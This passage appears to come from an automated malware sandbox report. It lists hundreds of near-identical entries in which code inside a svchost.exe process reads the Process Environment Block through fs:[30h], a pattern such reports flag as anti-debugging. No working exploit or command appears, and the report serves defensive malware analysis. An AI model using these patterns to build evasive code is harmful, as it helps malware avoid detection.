            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF61C3 mov eax, dword ptr fs:[00000030h]2_2_03AF61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF61C3 mov eax, dword ptr fs:[00000030h]2_2_03AF61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]2_2_03AAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]2_2_03AAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov ecx, dword ptr fs:[00000030h]2_2_03AAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]2_2_03AAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]2_2_03AAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A60124 mov eax, dword ptr fs:[00000030h]2_2_03A60124
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]2_2_03ADE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]2_2_03ADE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]2_2_03ADE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]2_2_03ADE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA118 mov ecx, dword ptr fs:[00000030h]2_2_03ADA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]2_2_03ADA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]2_2_03ADA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]2_2_03ADA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF0115 mov eax, dword ptr fs:[00000030h]2_2_03AF0115
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04164 mov eax, dword ptr fs:[00000030h]2_2_03B04164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04164 mov eax, dword ptr fs:[00000030h]2_2_03B04164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]2_2_03AC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]2_2_03AC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov ecx, dword ptr fs:[00000030h]2_2_03AC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]2_2_03AC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]2_2_03AC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C156 mov eax, dword ptr fs:[00000030h]2_2_03A2C156
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC8158 mov eax, dword ptr fs:[00000030h]2_2_03AC8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36154 mov eax, dword ptr fs:[00000030h]2_2_03A36154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36154 mov eax, dword ptr fs:[00000030h]2_2_03A36154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A280A0 mov eax, dword ptr fs:[00000030h]2_2_03A280A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC80A8 mov eax, dword ptr fs:[00000030h]2_2_03AC80A8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF60B8 mov eax, dword ptr fs:[00000030h]2_2_03AF60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF60B8 mov ecx, dword ptr fs:[00000030h]2_2_03AF60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3208A mov eax, dword ptr fs:[00000030h]2_2_03A3208A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A0E3 mov ecx, dword ptr fs:[00000030h]2_2_03A2A0E3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A380E9 mov eax, dword ptr fs:[00000030h]2_2_03A380E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB60E0 mov eax, dword ptr fs:[00000030h]2_2_03AB60E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C0F0 mov eax, dword ptr fs:[00000030h]2_2_03A2C0F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A720F0 mov ecx, dword ptr fs:[00000030h]2_2_03A720F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB20DE mov eax, dword ptr fs:[00000030h]2_2_03AB20DE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A020 mov eax, dword ptr fs:[00000030h]2_2_03A2A020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C020 mov eax, dword ptr fs:[00000030h]2_2_03A2C020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC6030 mov eax, dword ptr fs:[00000030h]2_2_03AC6030
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB4000 mov ecx, dword ptr fs:[00000030h]2_2_03AB4000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]2_2_03A4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]2_2_03A4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]2_2_03A4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]2_2_03A4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5C073 mov eax, dword ptr fs:[00000030h]2_2_03A5C073
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A32050 mov eax, dword ptr fs:[00000030h]2_2_03A32050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6050 mov eax, dword ptr fs:[00000030h]2_2_03AB6050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A307AF mov eax, dword ptr fs:[00000030h]2_2_03A307AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE47A0 mov eax, dword ptr fs:[00000030h]2_2_03AE47A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD678E mov eax, dword ptr fs:[00000030h]2_2_03AD678E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]2_2_03A527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]2_2_03A527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]2_2_03A527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABE7E1 mov eax, dword ptr fs:[00000030h]2_2_03ABE7E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A347FB mov eax, dword ptr fs:[00000030h]2_2_03A347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A347FB mov eax, dword ptr fs:[00000030h]2_2_03A347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3C7C0 mov eax, dword ptr fs:[00000030h]2_2_03A3C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB07C3 mov eax, dword ptr fs:[00000030h]2_2_03AB07C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C720 mov eax, dword ptr fs:[00000030h]2_2_03A6C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C720 mov eax, dword ptr fs:[00000030h]2_2_03A6C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6273C mov eax, dword ptr fs:[00000030h]2_2_03A6273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6273C mov ecx, dword ptr fs:[00000030h]2_2_03A6273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6273C mov eax, dword ptr fs:[00000030h]2_2_03A6273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAC730 mov eax, dword ptr fs:[00000030h]2_2_03AAC730
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C700 mov eax, dword ptr fs:[00000030h]2_2_03A6C700
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30710 mov eax, dword ptr fs:[00000030h]2_2_03A30710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A60710 mov eax, dword ptr fs:[00000030h]2_2_03A60710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38770 mov eax, dword ptr fs:[00000030h]2_2_03A38770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6674D mov esi, dword ptr fs:[00000030h]2_2_03A6674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6674D mov eax, dword ptr fs:[00000030h]2_2_03A6674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6674D mov eax, dword ptr fs:[00000030h]2_2_03A6674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30750 mov eax, dword ptr fs:[00000030h]2_2_03A30750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABE75D mov eax, dword ptr fs:[00000030h]2_2_03ABE75D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72750 mov eax, dword ptr fs:[00000030h]2_2_03A72750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72750 mov eax, dword ptr fs:[00000030h]2_2_03A72750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB4755 mov eax, dword ptr fs:[00000030h]2_2_03AB4755
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C6A6 mov eax, dword ptr fs:[00000030h]2_2_03A6C6A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A666B0 mov eax, dword ptr fs:[00000030h]2_2_03A666B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34690 mov eax, dword ptr fs:[00000030h]2_2_03A34690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34690 mov eax, dword ptr fs:[00000030h]2_2_03A34690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03AAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03AAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03AAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03AAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB06F1 mov eax, dword ptr fs:[00000030h]2_2_03AB06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB06F1 mov eax, dword ptr fs:[00000030h]2_2_03AB06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A6C7 mov ebx, dword ptr fs:[00000030h]2_2_03A6A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A6C7 mov eax, dword ptr fs:[00000030h]2_2_03A6A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E627 mov eax, dword ptr fs:[00000030h]2_2_03A4E627
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A66620 mov eax, dword ptr fs:[00000030h]2_2_03A66620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68620 mov eax, dword ptr fs:[00000030h]2_2_03A68620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3262C mov eax, dword ptr fs:[00000030h]2_2_03A3262C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE609 mov eax, dword ptr fs:[00000030h]2_2_03AAE609
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]2_2_03A4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]2_2_03A4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]2_2_03A4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]2_2_03A4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]2_2_03A4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]2_2_03A4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]2_2_03A4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72619 mov eax, dword ptr fs:[00000030h]2_2_03A72619
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF866E mov eax, dword ptr fs:[00000030h]2_2_03AF866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF866E mov eax, dword ptr fs:[00000030h]2_2_03AF866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A660 mov eax, dword ptr fs:[00000030h]2_2_03A6A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A660 mov eax, dword ptr fs:[00000030h]2_2_03A6A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A62674 mov eax, dword ptr fs:[00000030h]2_2_03A62674
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4C640 mov eax, dword ptr fs:[00000030h]2_2_03A4C640
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB05A7 mov eax, dword ptr fs:[00000030h]2_2_03AB05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB05A7 mov eax, dword ptr fs:[00000030h]2_2_03AB05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB05A7 mov eax, dword ptr fs:[00000030h]2_2_03AB05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A545B1 mov eax, dword ptr fs:[00000030h]2_2_03A545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A545B1 mov eax, dword ptr fs:[00000030h]2_2_03A545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A32582 mov eax, dword ptr fs:[00000030h]2_2_03A32582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A32582 mov ecx, dword ptr fs:[00000030h]2_2_03A32582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A64588 mov eax, dword ptr fs:[00000030h]2_2_03A64588
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E59C mov eax, dword ptr fs:[00000030h]2_2_03A6E59C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A325E0 mov eax, dword ptr fs:[00000030h]2_2_03A325E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C5ED mov eax, dword ptr fs:[00000030h]2_2_03A6C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C5ED mov eax, dword ptr fs:[00000030h]2_2_03A6C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E5CF mov eax, dword ptr fs:[00000030h]2_2_03A6E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E5CF mov eax, dword ptr fs:[00000030h]2_2_03A6E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A365D0 mov eax, dword ptr fs:[00000030h]2_2_03A365D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A5D0 mov eax, dword ptr fs:[00000030h]2_2_03A6A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A5D0 mov eax, dword ptr fs:[00000030h]2_2_03A6A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC6500 mov eax, dword ptr fs:[00000030h]2_2_03AC6500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6656A mov eax, dword ptr fs:[00000030h]2_2_03A6656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6656A mov eax, dword ptr fs:[00000030h]2_2_03A6656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6656A mov eax, dword ptr fs:[00000030h]2_2_03A6656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38550 mov eax, dword ptr fs:[00000030h]2_2_03A38550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38550 mov eax, dword ptr fs:[00000030h]2_2_03A38550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A364AB mov eax, dword ptr fs:[00000030h]2_2_03A364AB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A644B0 mov ecx, dword ptr fs:[00000030h]2_2_03A644B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABA4B0 mov eax, dword ptr fs:[00000030h]2_2_03ABA4B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEA49A mov eax, dword ptr fs:[00000030h]2_2_03AEA49A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A304E5 mov ecx, dword ptr fs:[00000030h]2_2_03A304E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E420 mov eax, dword ptr fs:[00000030h]2_2_03A2E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E420 mov eax, dword ptr fs:[00000030h]2_2_03A2E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E420 mov eax, dword ptr fs:[00000030h]2_2_03A2E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C427 mov eax, dword ptr fs:[00000030h]2_2_03A2C427
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A430 mov eax, dword ptr fs:[00000030h]2_2_03A6A430
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68402 mov eax, dword ptr fs:[00000030h]2_2_03A68402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68402 mov eax, dword ptr fs:[00000030h]2_2_03A68402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68402 mov eax, dword ptr fs:[00000030h]2_2_03A68402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABC460 mov ecx, dword ptr fs:[00000030h]2_2_03ABC460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5A470 mov eax, dword ptr fs:[00000030h]2_2_03A5A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5A470 mov eax, dword ptr fs:[00000030h]2_2_03A5A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5A470 mov eax, dword ptr fs:[00000030h]2_2_03A5A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEA456 mov eax, dword ptr fs:[00000030h]2_2_03AEA456
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2645D mov eax, dword ptr fs:[00000030h]2_2_03A2645D
